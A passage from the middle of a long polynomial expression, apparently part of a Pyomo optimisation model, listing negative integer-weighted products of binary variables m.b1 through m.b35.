32*m.b1*m.b28*m.b35 - 32*m.b1*m.b28*m.b2 - 32*m.b1*m.b29*m.b30 - 32*m.b1*m.b29*m.b31 - 32*m.b1*
m.b29*m.b32 - 32*m.b1*m.b29*m.b33 - 32*m.b1*m.b29*m.b34 - 32*m.b1*m.b29*m.b35 - 32*m.b1*m.b29*
m.b2 - 32*m.b1*m.b30*m.b31 - 32*m.b1*m.b30*m.b32 - 32*m.b1*m.b30*m.b33 - 32*m.b1*m.b30*m.b34 - 32
*m.b1*m.b30*m.b35 - 32*m.b1*m.b30*m.b2 - 32*m.b1*m.b31*m.b32 - 32*m.b1*m.b31*m.b33 - 32*m.b1*
m.b31*m.b34 - 32*m.b1*m.b31*m.b35 - 32*m.b1*m.b31*m.b2 - 32*m.b1*m.b32*m.b33 - 32*m.b1*m.b32*
m.b34 - 32*m.b1*m.b32*m.b35 - 32*m.b1*m.b32*m.b2 - 32*m.b1*m.b33*m.b34 - 32*m.b1*m.b33*m.b35 - 32
*m.b1*m.b33*m.b2 - 32*m.b1*m.b34*m.b35 - 32*m.b1*m.b34*m.b2 - 32*m.b1*m.b35*m.b2 - 64*m.b3*m.b4*
m.b5 - 64*m.b3*m.b4*m.b6 - 64*m.b3*m.b4*m.b7 - 64*m.b3*m.b4*m.b8 - 64*m.b3*m.b4*m.b9 - 64*m.b3*
m.b4*m.b10 - 64*m.b3*m.b4*m.b11 - 64*m.b3*m.b4*m.b12 - 64*m.b3*m.b4*m.b13 - 64*m.b3*m.b4*m.b14 -
64*m.b3*m.b4*m.b15 - 96*m.b3*m.b4*m.b16 - 128*m.b3*m.b4*m.b17 - 128*m.b3*m.b4*m.b18 - 128*m.b3*
m.b4*m.b19 - 128*m.b3*m.b4*m.b20 - 128*m.b3*m.b4*m.b21 - 128*m.b3*m.b4*m.b22 - 128*m.b3*m.b4*
m.b23 - 128*m.b3*m.b4*m.b24 - 128*m.b3*m.b4*m.b25 - 128*m.b3*m.b4*m.b26 - 128*m.b3*m.b4*m.b27 -
128*m.b3*m.b4*m.b28 - 128*m.b3*m.b4*m.b29 - 128*m.b3*m.b4*m.b30 - 128*m.b3*m.b4*m.b31 - 128*m.b3*
m.b4*m.b32 - 128*m.b3*m.b4*m.b33 - 128*m.b3*m.b4*m.b34 - 96*m.b3*m.b4*m.b35 - 32*m.b3*m.b4*m.b2
- 96*m.b3*m.b5*m.b6 - 32*m.b3*m.b5*m.b7 - 64*m.b3*m.b5*m.b8 - 64*m.b3*m.b5*m.b9 - 64*m.b3*m.b5*
m.b10 - 64*m.b3*m.b5*m.b11 - 64*m.b3*m.b5*m.b12 - 64*m.b3*m.b5*m.b13 - 64*m.b3*m.b5*m.b14 - 96*
m.b3*m.b5*m.b15 - 96*m.b3*m.b5*m.b16 - 128*m.b3*m.b5*m.b17 - 128*m.b3*m.b5*m.b18 - 128*m.b3*m.b5*
m.b19 - 128*m.b3*m.b5*m.b20 - 128*m.b3*m.b5*m.b21 - 128*m.b3*m.b5*m.b22 - 128*m.b3*m.b5*m.b23 -
128*m.b3*m.b5*m.b24 - 128*m.b3*m.b5*m.b25 - 128*m.b3*m.b5*m.b26 - 128*m.b3*m.b5*m.b27 - 128*m.b3*
m.b5*m.b28 - 128*m.b3*m.b5*m.b29 - 128*m.b3*m.b5*m.b30 - 128*m.b3*m.b5*m.b31 - 128*m.b3*m.b5*
m.b32 - 128*m.b3*m.b5*m.b33 - 96*m.b3*m.b5*m.b34 - 64*m.b3*m.b5*m.b35 - 32*m.b3*m.b5*m.b2 - 96*
m.b3*m.b6*m.b7 - 64*m.b3*m.b6*m.b8 - 32*m.b3*m.b6*m.b9 - 64*m.b3*m.b6*m.b10 - 64*m.b3*m.b6*m.b11
- 64*m.b3*m.b6*m.b12 - 64*m.b3*m.b6*m.b13 - 96*m.b3*m.b6*m.b14 - 96*m.b3*m.b6*m.b15 - 96*m.b3*
m.b6*m.b16 - 128*m.b3*m.b6*m.b17 - 128*m.b3*m.b6*m.b18 - 128*m.b3*m.b6*m.b19 - 128*m.b3*m.b6*
m.b20 - 128*m.b3*m.b6*m.b21 - 128*m.b3*m.b6*m.b22 - 128*m.b3*m.b6*m.b23 - 128*m.b3*m.b6*m.b24 -
128*m.b3*m.b6*m.b25 - 128*m.b3*m.b6*m.b26 - 128*m.b3*m.b6*m.b27 - 128*m.b3*m.b6*m.b28 - 128*m.b3*
m.b6*m.b29 - 128*m.b3*m.b6*m.b30 - 128*m.b3*m.b6*m.b31 - 128*m.b3*m.b6*m.b32 - 96*m.b3*m.b6*m.b33
- 64*m.b3*m.b6*m.b34 - 64*m.b3*m.b6*m.b35 - 32*m.b3*m.b6*m.b2 - 96*m.b3*m.b7*m.b8 - 64*m.b3*m.b7
*m.b9 - 64*m.b3*m.b7*m.b10 - 32*m.b3*m.b7*m.b11 - 64*m.b3*m.b7*m.b12 - 96*m.b3*m.b7*m.b13 - 96*
m.b3*m.b7*m.b14 - 96*m.b3*m.b7*m.b15 - 96*m.b3*m.b7*m.b16 - 128*m.b3*m.b7*m.b17 - 128*m.b3*m.b7*
m.b18 - 128*m.b3*m.b7*m.b19 - 128*m.b3*m.b7*m.b20 - 128*m.b3*m.b7*m.b21 - 128*m.b3*m.b7*m.b22 -
128*m.b3*m.b7*m.b23 - 128*m.b3*m.b7*m.b24 - 128*m.b3*m.b7*m.b25 - 128*m.b3*m.b7*m.b26 - 128*m.b3*
m.b7*m.b27 - 128*m.b3*m.b7*m.b28 - 128*m.b3*m.b7*m.b29 - 128*m.b3*m.b7*m.b30 - 128*m.b3*m.b7*
m.b31 - 96*m.b3*m.b7*m.b32 - 64*m.b3*m.b7*m.b33 - 64*m.b3*m.b7*m.b34 - 64*m.b3*m.b7*m.b35 - 32*
m.b3*m.b7*m.b2 - 96*m.b3*m.b8*m.b9 - 64*m.b3*m.b8*m.b10 - 64*m.b3*m.b8*m.b11 - 96*m.b3*m.b8*m.b12
- 64*m.b3*m.b8*m.b13 - 96*m.b3*m.b8*m.b14 - 96*m.b3*m.b8*m.b15 - 96*m.b3*m.b8*m.b16 - 128*m.b3*
m.b8*m.b17 - 128*m.b3*m.b8*m.b18 - 128*m.b3*m.b8*m.b19 - 128*m.b3*m.b8*m.b20 - 128*m.b3*m.b8*
m.b21 - 128*m.b3*m.b8*m.b22 - 128*m.b3*m.b8*m.b23 - 128*m.b3*m.b8*m.b24 - 128*m.b3*m.b8*m.b25 -
128*m.b3*m.b8*m.b26 - 128*m.b3*m.b8*m.b27 - 128*m.b3*m.b8*m.b28 - 128*m.b3*m.b8*m.b29 - 128*m.b3*
m.b8*m.b30 - 96*m.b3*m.b8*m.b31 - 64*m.b3*m.b8*m.b32 - 64*m.b3*m.b8*m.b33 - 64*m.b3*m.b8*m.b34 -
64*m.b3*m.b8*m.b35 - 32*m.b3*m.b8*m.b2 - 96*m.b3*m.b9*m.b10 - 96*m.b3*m.b9*m.b11 - 96*m.b3*m.b9*
m.b12 - 96*m.b3*m.b9*m.b13 - 96*m.b3*m.b9*m.b14 - 64*m.b3*m.b9*m.b15 - 96*m.b3*m.b9*m.b16 - 128*
m.b3*m.b9*m.b17 - 128*m.b3*m.b9*m.b18 - 128*m.b3*m.b9*m.b19 - 128*m.b3*m.b9*m.b20 - 128*m.b3*m.b9
*m.b21 - 128*m.b3*m.b9*m.b22 - 128*m.b3*m.b9*m.b23 - 128*m.b3*m.b9*m.b24 - 128*m.b3*m.b9*m.b25 -
128*m.b3*m.b9*m.b26 - 128*m.b3*m.b9*m.b27 - 128*m.b3*m.b9*m.b28 - 128*m.b3*m.b9*m.b29 - 96*m.b3*
m.b9*m.b30 - 64*m.b3*m.b9*m.b31 - 64*m.b3*m.b9*m.b32 - 64*m.b3*m.b9*m.b33 - 64*m.b3*m.b9*m.b34 -
64*m.b3*m.b9*m.b35 - 32*m.b3*m.b9*m.b2 - 128*m.b3*m.b10*m.b11 - 96*m.b3*m.b10*m.b12 - 96*m.b3*
m.b10*m.b13 - 96*m.b3*m.b10*m.b14 - 96*m.b3*m.b10*m.b15 - 96*m.b3*m.b10*m.b16 - 64*m.b3*m.b10*
m.b17 - 128*m.b3*m.b10*m.b18 - 128*m.b3*m.b10*m.b19 - 128*m.b3*m.b10*m.b20 - 128*m.b3*m.b10*m.b21
- 128*m.b3*m.b10*m.b22 - 128*m.b3*m.b10*m.b23 - 128*m.b3*m.b10*m.b24 - 128*m.b3*m.b10*m.b25 -
128*m.b3*m.b10*m.b26 - 128*m.b3*m.b10*m.b27 - 128*m.b3*m.b10*m.b28 - 96*m.b3*m.b10*m.b29 - 64*
m.b3*m.b10*m.b30 - 64*m.b3*m.b10*m.b31 - 64*m.b3*m.b10*m.b32 - 64*m.b3*m.b10*m.b33 - 64*m.b3*
m.b10*m.b34 - 64*m.b3*m.b10*m.b35 - 32*m.b3*m.b10*m.b2 - 128*m.b3*m.b11*m.b12 - 96*m.b3*m.b11*
m.b13 - 96*m.b3*m.b11*m.b14 - 96*m.b3*m.b11*m.b15 - 96*m.b3*m.b11*m.b16 - 128*m.b3*m.b11*m.b17 -
128*m.b3*m.b11*m.b18 - 64*m.b3*m.b11*m.b19 - 128*m.b3*m.b11*m.b20 - 128*m.b3*m.b11*m.b21 - 128*
m.b3*m.b11*m.b22 - 128*m.b3*m.b11*m.b23 - 128*m.b3*m.b11*m.b24 - 128*m.b3*m.b11*m.b25 - 128*m.b3*
m.b11*m.b26 - 128*m.b3*m.b11*m.b27 - 96*m.b3*m.b11*m.b28 - 64*m.b3*m.b11*m.b29 - 64*m.b3*m.b11*
m.b30 - 64*m.b3*m.b11*m.b31 - 64*m.b3*m.b11*m.b32 - 64*m.b3*m.b11*m.b33 - 64*m.b3*m.b11*m.b34 -
64*m.b3*m.b11*m.b35 - 32*m.b3*m.b11*m.b2 - 128*m.b3*m.b12*m.b13 - 96*m.b3*m.b12*m.b14 - 96*m.b3*
m.b12*m.b15 - 96*m.b3*m.b12*m.b16 - 128*m.b3*m.b12*m.b17 - 128*m.b3*m.b12*m.b18 - 128*m.b3*m.b12*
m.b19 - 128*m.b3*m.b12*m.b20 - 64*m.b3*m.b12*m.b21 - 128*m.b3*m.b12*m.b22 - 128*m.b3*m.b12*m.b23
- 128*m.b3*m.b12*m.b24 - 128*m.b3*m.b12*m.b25 - 128*m.b3*m.b12*m.b26 - 96*m.b3*m.b12*m.b27 - 64*
m.b3*m.b12*m.b28 - 64*m.b3*m.b12*m.b29 - 64*m.b3*m.b12*m.b30 - 64*m.b3*m.b12*m.b31 - 64*m.b3*
m.b12*m.b32 - 64*m.b3*m.b12*m.b33 - 64*m.b3*m.b12*m.b34 - 64*m.b3*m.b12*m.b35 - 32*m.b3*m.b12*
m.b2 - 128*m.b3*m.b13*m.b14 - 96*m.b3*m.b13*m.b15 - 96*m.b3*m.b13*m.b16 - 128*m.b3*m.b13*m.b17 -
128*m.b3*m.b13*m.b18 - 128*m.b3*m.b13*m.b19 - 128*m.b3*m.b13*m.b20 - 128*m.b3*m.b13*m.b21 - 128*
m.b3*m.b13*m.b22 - 64*m.b3*m.b13*m.b23 - 128*m.b3*m.b13*m.b24 - 128*m.b3*m.b13*m.b25 - 96*m.b3*
m.b13*m.b26 - 64*m.b3*m.b13*m.b27 - 64*m.b3*m.b13*m.b28 - 64*m.b3*m.b13*m.b29 - 64*m.b3*m.b13*
m.b30 - 64*m.b3*m.b13*m.b31 - 64*m.b3*m.b13*m.b32 - 64*m.b3*m.b13*m.b33 - 64*m.b3*m.b13*m.b34 -
64*m.b3*m.b13*m.b35 - 32*m.b3*m.b13*m.b2 - 128*m.b3*m.b14*m.b15 - 96*m.b3*m.b14*m.b16 - 128*m.b3*
m.b14*m.b17 - 128*m.b3*m.b14*m.b18 - 128*m.b3*m.b14*m.b19 - 128*m.b3*m.b14*m.b20 - 128*m.b3*m.b14
*m.b21 - 128*m.b3*m.b14*m.b22 - 128*m.b3*m.b14*m.b23 - 128*m.b3*m.b14*m.b24 - 32*m.b3*m.b14*m.b25
- 64*m.b3*m.b14*m.b26 - 64*m.b3*m.b14*m.b27 - 64*m.b3*m.b14*m.b28 - 64*m.b3*m.b14*m.b29 - 64*
m.b3*m.b14*m.b30 - 64*m.b3*m.b14*m.b31 - 64*m.b3*m.b14*m.b32 - 64*m.b3*m.b14*m.b33 - 64*m.b3*
m.b14*m.b34 - 64*m.b3*m.b14*m.b35 - 32*m.b3*m.b14*m.b2 - 128*m.b3*m.b15*m.b16 - 128*m.b3*m.b15*
m.b17 - 128*m.b3*m.b15*m.b18 - 128*m.b3*m.b15*m.b19 - 128*m.b3*m.b15*m.b20 - 128*m.b3*m.b15*m.b21
- 128*m.b3*m.b15*m.b22 - 128*m.b3*m.b15*m.b23 - 96*m.b3*m.b15*m.b24 - 64*m.b3*m.b15*m.b25 - 64*
m.b3*m.b15*m.b26 - 64*m.b3*m.b15*m.b28 - 64*m.b3*m.b15*m.b29 - 64*m.b3*m.b15*m.b30 - 64*m.b3*
m.b15*m.b31 - 64*m.b3*m.b15*m.b32 - 64*m.b3*m.b15*m.b33 - 64*m.b3*m.b15*m.b34 - 64*m.b3*m.b15*
m.b35 - 32*m.b3*m.b15*m.b2 - 160*m.b3*m.b16*m.b17 - 128*m.b3*m.b16*m.b18 - 128*m.b3*m.b16*m.b19
- 128*m.b3*m.b16*m.b20 - 128*m.b3*m.b16*m.b21 - 128*m.b3*m.b16*m.b22 - 96*m.b3*m.b16*m.b23 - 64*
m.b3*m.b16*m.b24 - 64*m.b3*m.b16*m.b25 - 64*m.b3*m.b16*m.b26 - 64*m.b3*m.b16*m.b27 - 64*m.b3*
m.b16*m.b28 - 64*m.b3*m.b16*m.b30 - 64*m.b3*m.b16*m.b31 - 64*m.b3*m.b16*m.b32 - 64*m.b3*m.b16*
m.b33 - 64*m.b3*m.b16*m.b34 - 64*m.b3*m.b16*m.b35 - 32*m.b3*m.b16*m.b2 - 160*m.b3*m.b17*m.b18 -
128*m.b3*m.b17*m.b19 - 128*m.b3*m.b17*m.b20 - 128*m.b3*m.b17*m.b21 - 96*m.b3*m.b17*m.b22 - 64*
m.b3*m.b17*m.b23 - 64*m.b3*m.b17*m.b24 - 64*m.b3*m.b17*m.b25 - 64*m.b3*m.b17*m.b26 - 64*m.b3*
m.b17*m.b27 - 64*m.b3*m.b17*m.b28 - 64*m.b3*m.b17*m.b29 - 64*m.b3*m.b17*m.b30 - 64*m.b3*m.b17*
m.b32 - 64*m.b3*m.b17*m.b33 - 64*m.b3*m.b17*m.b34 - 64*m.b3*m.b17*m.b35 - 32*m.b3*m.b17*m.b2 -
160*m.b3*m.b18*m.b19 - 128*m.b3*m.b18*m.b20 - 96*m.b3*m.b18*m.b21 - 64*m.b3*m.b18*m.b22 - 64*m.b3
*m.b18*m.b23 - 64*m.b3*m.b18*m.b24 - 64*m.b3*m.b18*m.b25 - 64*m.b3*m.b18*m.b26 - 64*m.b3*m.b18*
m.b27 - 64*m.b3*m.b18*m.b28 - 64*m.b3*m.b18*m.b29 - 64*m.b3*m.b18*m.b30 - 64*m.b3*m.b18*m.b31 -
64*m.b3*m.b18*m.b32 - 64*m.b3*m.b18*m.b34 - 64*m.b3*m.b18*m.b35 - 32*m.b3*m.b18*m.b2 - 128*m.b3*
m.b19*m.b20 - 64*m.b3*m.b19*m.b21 - 64*m.b3*m.b19*m.b22 - 64*m.b3*m.b19*m.b23 - 64*m.b3*m.b19*
m.b24 - 64*m.b3*m.b19*m.b25 - 64*m.b3*m.b19*m.b26 - 64*m.b3*m.b19*m.b27 - 64*m.b3*m.b19*m.b28 -
64*m.b3*m.b19*m.b29 - 64*m.b3*m.b19*m.b30 - 64*m.b3*m.b19*m.b31 - 64*m.b3*m.b19*m.b32 - 64*m.b3*
m.b19*m.b33 - 64*m.b3*m.b19*m.b34 - 32*m.b3*m.b19*m.b2 - 96*m.b3*m.b20*m.b21 - 64*m.b3*m.b20*
m.b22 - 64*m.b3*m.b20*m.b23 - 64*m.b3*m.b20*m.b24 - 64*m.b3*m.b20*m.b25 - 64*m.b3*m.b20*m.b26 -
64*m.b3*m.b20*m.b27 - 64*m.b3*m.b20*m.b28 - 64*m.b3*m.b20*m.b29 - 64*m.b3*m.b20*m.b30 - 64*m.b3*
m.b20*m.b31 - 64*m.b3*m.b20*m.b32 - 64*m.b3*m.b20*m.b33 - 64*m.b3*m.b20*m.b34 - 64*m.b3*m.b20*
m.b35 - 32*m.b3*m.b20*m.b2 - 96*m.b3*m.b21*m.b22 - 64*m.b3*m.b21*m.b23 - 64*m.b3*m.b21*m.b24 - 64
*m.b3*m.b21*m.b25 - 64*m.b3*m.b21*m.b26 - 64*m.b3*m.b21*m.b27 - 64*m.b3*m.b21*m.b28 - 64*m.b3*
m.b21*m.b29 - 64*m.b3*m.b21*m.b30 - 64*m.b3*m.b21*m.b31 - 64*m.b3*m.b21*m.b32 - 64*m.b3*m.b21*
m.b33 - 64*m.b3*m.b21*m.b34 - 64*m.b3*m.b21*m.b35 - 32*m.b3*m.b21*m.b2 - 96*m.b3*m.b22*m.b23 - 64
*m.b3*m.b22*m.b24 - 64*m.b3*m.b22*m.b25 - 64*m.b3*m.b22*m.b26 - 64*m.b3*m.b22*m.b27 - 64*m.b3*
m.b22*m.b28 - 64*m.b3*m.b22*m.b29 - 64*m.b3*m.b22*m.b30 - 64*m.b3*m.b22*m.b31 - 64*m.b3*m.b22*
m.b32 - 64*m.b3*m.b22*m.b33 - 64*m.b3*m.b22*m.b34 - 64*m.b3*m.b22*m.b35 - 32*m.b3*m.b22*m.b2 - 96
*m.b3*m.b23*m.b24 - 64*m.b3*m.b23*m.b25 - 64*m.b3*m.b23*m.b26 - 64*m.b3*m.b23*m.b27 - 64*m.b3*
m.b23*m.b28 - 64*m.b3*m.b23*m.b29 - 64*m.b3*m.b23*m.b30 - 64*m.b3*m.b23*m.b31 - 64*m.b3*m.b23*
m.b32 - 64*m.b3*m.b23*m.b33 - 64*m.b3*m.b23*m.b34 - 64*m.b3*m.b23*m.b35 - 32*m.b3*m.b23*m.b2 - 96
*m.b3*m.b24*m.b25 - 64*m.b3*m.b24*m.b26 - 64*m.b3*m.b24*m.b27 - 64*m.b3*m.b24*m.b28 - 64*m.b3*
m.b24*m.b29 - 64*m.b3*m.b24*m.b30 - 64*m.b3*m.b24*m.b31 - 64*m.b3*m.b24*m.b32 - 64*m.b3*m.b24*
m.b33 - 64*m.b3*m.b24*m.b34 - 64*m.b3*m.b24*m.b35 - 32*m.b3*m.b24*m.b2 - 96*m.b3*m.b25*m.b26 - 64
*m.b3*m.b25*m.b27 - 64*m.b3*m.b25*m.b28 - 64*m.b3*m.b25*m.b29 - 64*m.b3*m.b25*m.b30 - 64*m.b3*
m.b25*m.b31 - 64*m.b3*m.b25*m.b32 - 64*m.b3*m.b25*m.b33 - 64*m.b3*m.b25*m.b34 - 64*m.b3*m.b25*
m.b35 - 32*m.b3*m.b25*m.b2 - 96*m.b3*m.b26*m.b27 - 64*m.b3*m.b26*m.b28 - 64*m.b3*m.b26*m.b29 - 64
*m.b3*m.b26*m.b30 - 64*m.b3*m.b26*m.b31 - 64*m.b3*m.b26*m.b32 - 64*m.b3*m.b26*m.b33 - 64*m.b3*
m.b26*m.b34 - 64*m.b3*m.b26*m.b35 - 32*m.b3*m.b26*m.b2 - 96*m.b3*m.b27*m.b28 - 64*m.b3*m.b27*
m.b29 - 64*m.b3*m.b27*m.b30 - 64*m.b3*m.b27*m.b31 - 64*m.b3*m.b27*m.b32 - 64*m.b3*m.b27*m.b33 -
64*m.b3*m.b27*m.b34 - 64*m.b3*m.b27*m.b35 - 32*m.b3*m.b27*m.b2 - 96*m.b3*m.b28*m.b29 - 64*m.b3*
m.b28*m.b30 - 64*m.b3*m.b28*m.b31 - 64*m.b3*m.b28*m.b32 - 64*m.b3*m.b28*m.b33 - 64*m.b3*m.b28*
m.b34 - 64*m.b3*m.b28*m.b35 - 32*m.b3*m.b28*m.b2 - 96*m.b3*m.b29*m.b30 - 64*m.b3*m.b29*m.b31 - 64
*m.b3*m.b29*m.b32 - 64*m.b3*m.b29*m.b33 - 64*m.b3*m.b29*m.b34 - 64*m.b3*m.b29*m.b35 - 32*m.b3*
m.b29*m.b2 - 96*m.b3*m.b30*m.b31 - 64*m.b3*m.b30*m.b32 - 64*m.b3*m.b30*m.b33 - 64*m.b3*m.b30*
m.b34 - 64*m.b3*m.b30*m.b35 - 32*m.b3*m.b30*m.b2 - 96*m.b3*m.b31*m.b32 - 64*m.b3*m.b31*m.b33 - 64
*m.b3*m.b31*m.b34 - 64*m.b3*m.b31*m.b35 - 32*m.b3*m.b31*m.b2 - 96*m.b3*m.b32*m.b33 - 64*m.b3*
m.b32*m.b34 - 64*m.b3*m.b32*m.b35 - 32*m.b3*m.b32*m.b2 - 96*m.b3*m.b33*m.b34 - 64*m.b3*m.b33*
m.b35 - 32*m.b3*m.b33*m.b2 - 96*m.b3*m.b34*m.b35 - 32*m.b3*m.b34*m.b2 - 64*m.b3*m.b35*m.b2 - 64*
m.b4*m.b5*m.b6 - 96*m.b4*m.b5*m.b7 - 64*m.b4*m.b5*m.b8 - 64*m.b4*m.b5*m.b9 - 64*m.b4*m.b5*m.b10
- 64*m.b4*m.b5*m.b11 - 64*m.b4*m.b5*m.b12 - 64*m.b4*m.b5*m.b13 - 64*m.b4*m.b5*m.b14 - 64*m.b4*
m.b5*m.b15 - 64*m.b4*m.b5*m.b16 - 128*m.b4*m.b5*m.b17 - 192*m.b4*m.b5*m.b18 - 192*m.b4*m.b5*m.b19
- 192*m.b4*m.b5*m.b20 - 192*m.b4*m.b5*m.b21 - 192*m.b4*m.b5*m.b22 - 192*m.b4*m.b5*m.b23 - 192*
m.b4*m.b5*m.b24 - 192*m.b4*m.b5*m.b25 - 192*m.b4*m.b5*m.b26 - 192*m.b4*m.b5*m.b27 - 192*m.b4*m.b5
*m.b28 - 192*m.b4*m.b5*m.b29 - 192*m.b4*m.b5*m.b30 - 192*m.b4*m.b5*m.b31 - 192*m.b4*m.b5*m.b32 -
192*m.b4*m.b5*m.b33 - 160*m.b4*m.b5*m.b34 - 96*m.b4*m.b5*m.b35 - 32*m.b4*m.b5*m.b2 - 96*m.b4*m.b6
*m.b7 - 64*m.b4*m.b6*m.b8 - 64*m.b4*m.b6*m.b9 - 64*m.b4*m.b6*m.b10 - 64*m.b4*m.b6*m.b11 - 64*m.b4
*m.b6*m.b12 - 64*m.b4*m.b6*m.b13 - 64*m.b4*m.b6*m.b14 - 64*m.b4*m.b6*m.b15 - 128*m.b4*m.b6*m.b16
- 128*m.b4*m.b6*m.b17 - 192*m.b4*m.b6*m.b18 - 192*m.b4*m.b6*m.b19 - 192*m.b4*m.b6*m.b20 - 192*
m.b4*m.b6*m.b21 - 192*m.b4*m.b6*m.b22 - 192*m.b4*m.b6*m.b23 - 192*m.b4*m.b6*m.b24 - 192*m.b4*m.b6
*m.b25 - 192*m.b4*m.b6*m.b26 - 192*m.b4*m.b6*m.b27 - 192*m.b4*m.b6*m.b28 - 192*m.b4*m.b6*m.b29 -
192*m.b4*m.b6*m.b30 - 192*m.b4*m.b6*m.b31 - 192*m.b4*m.b6*m.b32 - 160*m.b4*m.b6*m.b33 - 128*m.b4*
m.b6*m.b34 - 64*m.b4*m.b6*m.b35 - 32*m.b4*m.b6*m.b2 - 96*m.b4*m.b7*m.b8 - 96*m.b4*m.b7*m.b9 - 32*
m.b4*m.b7*m.b10 - 64*m.b4*m.b7*m.b11 - 64*m.b4*m.b7*m.b12 - 64*m.b4*m.b7*m.b13 - 64*m.b4*m.b7*
m.b14 - 128*m.b4*m.b7*m.b15 - 128*m.b4*m.b7*m.b16 - 128*m.b4*m.b7*m.b17 - 192*m.b4*m.b7*m.b18 -
192*m.b4*m.b7*m.b19 - 192*m.b4*m.b7*m.b20 - 192*m.b4*m.b7*m.b21 - 192*m.b4*m.b7*m.b22 - 192*m.b4*
m.b7*m.b23 - 192*m.b4*m.b7*m.b24 - 192*m.b4*m.b7*m.b25 - 192*m.b4*m.b7*m.b26 - 192*m.b4*m.b7*
m.b27 - 192*m.b4*m.b7*m.b28 - 192*m.b4*m.b7*m.b29 - 192*m.b4*m.b7*m.b30 - 192*m.b4*m.b7*m.b31 -
160*m.b4*m.b7*m.b32 - 128*m.b4*m.b7*m.b33 - 96*m.b4*m.b7*m.b34 - 64*m.b4*m.b7*m.b35 - 32*m.b4*
m.b7*m.b2 - 96*m.b4*m.b8*m.b9 - 96*m.b4*m.b8*m.b10 - 64*m.b4*m.b8*m.b11 - 32*m.b4*m.b8*m.b12 - 64
*m.b4*m.b8*m.b13 - 128*m.b4*m.b8*m.b14 - 128*m.b4*m.b8*m.b15 - 128*m.b4*m.b8*m.b16 - 128*m.b4*
m.b8*m.b17 - 192*m.b4*m.b8*m.b18 - 192*m.b4*m.b8*m.b19 - 192*m.b4*m.b8*m.b20 - 192*m.b4*m.b8*
m.b21 - 192*m.b4*m.b8*m.b22 - 192*m.b4*m.b8*m.b23 - 192*m.b4*m.b8*m.b24 - 192*m.b4*m.b8*m.b25 -
192*m.b4*m.b8*m.b26 - 192*m.b4*m.b8*m.b27 - 192*m.b4*m.b8*m.b28 - 192*m.b4*m.b8*m.b29 - 192*m.b4*
m.b8*m.b30 - 160*m.b4*m.b8*m.b31 - 128*m.b4*m.b8*m.b32 - 96*m.b4*m.b8*m.b33 - 96*m.b4*m.b8*m.b34
- 64*m.b4*m.b8*m.b35 - 32*m.b4*m.b8*m.b2 - 96*m.b4*m.b9*m.b10 - 96*m.b4*m.b9*m.b11 - 64*m.b4*
m.b9*m.b12 - 128*m.b4*m.b9*m.b13 - 96*m.b4*m.b9*m.b14 - 128*m.b4*m.b9*m.b15 - 128*m.b4*m.b9*m.b16
- 128*m.b4*m.b9*m.b17 - 192*m.b4*m.b9*m.b18 - 192*m.b4*m.b9*m.b19 - 192*m.b4*m.b9*m.b20 - 192*
m.b4*m.b9*m.b21 - 192*m.b4*m.b9*m.b22 - 192*m.b4*m.b9*m.b23 - 192*m.b4*m.b9*m.b24 - 192*m.b4*m.b9
*m.b25 - 192*m.b4*m.b9*m.b26 - 192*m.b4*m.b9*m.b27 - 192*m.b4*m.b9*m.b28 - 192*m.b4*m.b9*m.b29 -
160*m.b4*m.b9*m.b30 - 128*m.b4*m.b9*m.b31 - 96*m.b4*m.b9*m.b32 - 96*m.b4*m.b9*m.b33 - 96*m.b4*
m.b9*m.b34 - 64*m.b4*m.b9*m.b35 - 32*m.b4*m.b9*m.b2 - 96*m.b4*m.b10*m.b11 - 160*m.b4*m.b10*m.b12
- 128*m.b4*m.b10*m.b13 - 128*m.b4*m.b10*m.b14 - 128*m.b4*m.b10*m.b15 - 96*m.b4*m.b10*m.b16 - 128
*m.b4*m.b10*m.b17 - 192*m.b4*m.b10*m.b18 - 192*m.b4*m.b10*m.b19 - 192*m.b4*m.b10*m.b20 - 192*m.b4
*m.b10*m.b21 - 192*m.b4*m.b10*m.b22 - 192*m.b4*m.b10*m.b23 - 192*m.b4*m.b10*m.b24 - 192*m.b4*
m.b10*m.b25 - 192*m.b4*m.b10*m.b26 - 192*m.b4*m.b10*m.b27 - 192*m.b4*m.b10*m.b28 - 160*m.b4*m.b10
*m.b29 - 128*m.b4*m.b10*m.b30 - 96*m.b4*m.b10*m.b31 - 96*m.b4*m.b10*m.b32 - 96*m.b4*m.b10*m.b33
- 96*m.b4*m.b10*m.b34 - 64*m.b4*m.b10*m.b35 - 32*m.b4*m.b10*m.b2 - 160*m.b4*m.b11*m.b12 - 160*
m.b4*m.b11*m.b13 - 128*m.b4*m.b11*m.b14 - 128*m.b4*m.b11*m.b15 - 128*m.b4*m.b11*m.b16 - 128*m.b4*
m.b11*m.b17 - 96*m.b4*m.b11*m.b18 - 192*m.b4*m.b11*m.b19 - 192*m.b4*m.b11*m.b20 - 192*m.b4*m.b11*
m.b21 - 192*m.b4*m.b11*m.b22 - 192*m.b4*m.b11*m.b23 - 192*m.b4*m.b11*m.b24 - 192*m.b4*m.b11*m.b25
- 192*m.b4*m.b11*m.b26 - 192*m.b4*m.b11*m.b27 - 160*m.b4*m.b11*m.b28 - 128*m.b4*m.b11*m.b29 - 96
*m.b4*m.b11*m.b30 - 96*m.b4*m.b11*m.b31 - 96*m.b4*m.b11*m.b32 - 96*m.b4*m.b11*m.b33 - 96*m.b4*
m.b11*m.b34 - 64*m.b4*m.b11*m.b35 - 32*m.b4*m.b11*m.b2 - 160*m.b4*m.b12*m.b13 - 160*m.b4*m.b12*
m.b14 - 128*m.b4*m.b12*m.b15 - 128*m.b4*m.b12*m.b16 - 128*m.b4*m.b12*m.b17 - 192*m.b4*m.b12*m.b18
- 192*m.b4*m.b12*m.b19 - 96*m.b4*m.b12*m.b20 - 192*m.b4*m.b12*m.b21 - 192*m.b4*m.b12*m.b22 - 192
*m.b4*m.b12*m.b23 - 192*m.b4*m.b12*m.b24 - 192*m.b4*m.b12*m.b25 - 192*m.b4*m.b12*m.b26 - 160*m.b4
*m.b12*m.b27 - 128*m.b4*m.b12*m.b28 - 96*m.b4*m.b12*m.b29 - 96*m.b4*m.b12*m.b30 - 96*m.b4*m.b12*
m.b31 - 96*m.b4*m.b12*m.b32 - 96*m.b4*m.b12*m.b33 - 96*m.b4*m.b12*m.b34 - 64*m.b4*m.b12*m.b35 -
32*m.b4*m.b12*m.b2 - 160*m.b4*m.b13*m.b14 - 160*m.b4*m.b13*m.b15 - 128*m.b4*m.b13*m.b16 - 128*
m.b4*m.b13*m.b17 - 192*m.b4*m.b13*m.b18 - 192*m.b4*m.b13*m.b19 - 192*m.b4*m.b13*m.b20 - 192*m.b4*
